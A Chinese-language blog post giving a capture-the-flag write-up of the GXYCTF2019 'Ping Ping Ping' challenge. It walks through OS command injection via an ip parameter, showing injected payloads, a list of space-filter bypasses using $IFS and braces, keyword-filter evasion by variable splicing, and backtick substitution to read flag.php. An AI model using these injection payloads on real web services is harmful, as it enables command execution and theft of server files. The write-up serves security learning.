[GXYCTF2019]Ping Ping Ping

开启环境之后可以看到

 

 

加上题目是ping ping ping 

所以可以猜测是需要我们命令执行读取flag

加上?ip=127.0.0.1

http://3d59e365-7e67-4e43-b2f5-dec887255281.node3.buuoj.cn/?ip=127.0.0.1

 

 可以看到页面成功返回,我们尝试使用管道符执行我们想要执行的命令

?ip=127.0.0.1 | ls

这个时候页面返回错误

 

 怀疑是空格的原因,去掉空格,改为

?ip=127.0.0.1|ls

可以看到成功执行ls

 

 目录下存在flag.php和index.php文件,尝试cat flag文件

考虑到之前的空格会被检测,我们绕过空格

绕过空格的思路一般有:

  $IFS

  ${IFS}

  $IFS$1 //$1改成$加其他数字貌似都行

  <

  <>

  {cat,flag.php} //用逗号实现了空格功能

  %20

  %09

 

我们这里使用$IFS,即构造?ip=127.0.0.1|cat$IFSflag.php

不过页面显示的错误信息改变:

 

 

猜测是因为检测了flag,所以我们尝试先读取index.php

?ip=127.0.0.1|cat$IFSindex.php,还是没有显示结果,依次尝试:?ip=127.0.0.1|cat$IFS$1flag.php成功

 

 可以看到对我们的输入进行了过滤,在flag贪婪匹配里面我们不将flag连着写,就不会匹配到,同时可以看到有$a变量,尝试覆盖它

变量拼接

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

查看源代码里面就有flag

 

 

另外我们可以尝试使用反引号内联执行的做法,linux下反引号``里面包含的就是需要执行的系统命令

而反引号里面的系统命令会先执行,成功执行后将结果传递给调用它的命令

?ip=127.0.0.1;cat$IFS`ls`

查看源代码可以看到index.php和flag.php的内容都显示了出来

 

参考链接:

https://chen.oinsm.com/2020/01/10/GXYCTF-2019-%E5%A4%8D%E7%8E%B0/

https://www.jianshu.com/p/fd7f9fcc9333

https://www.cnblogs.com/wangtanzhi/p/12246386.html#autoid-0-0-0

posted @ 2020-02-15 19:58  春告鳥  阅读(1226)  评论(0编辑  收藏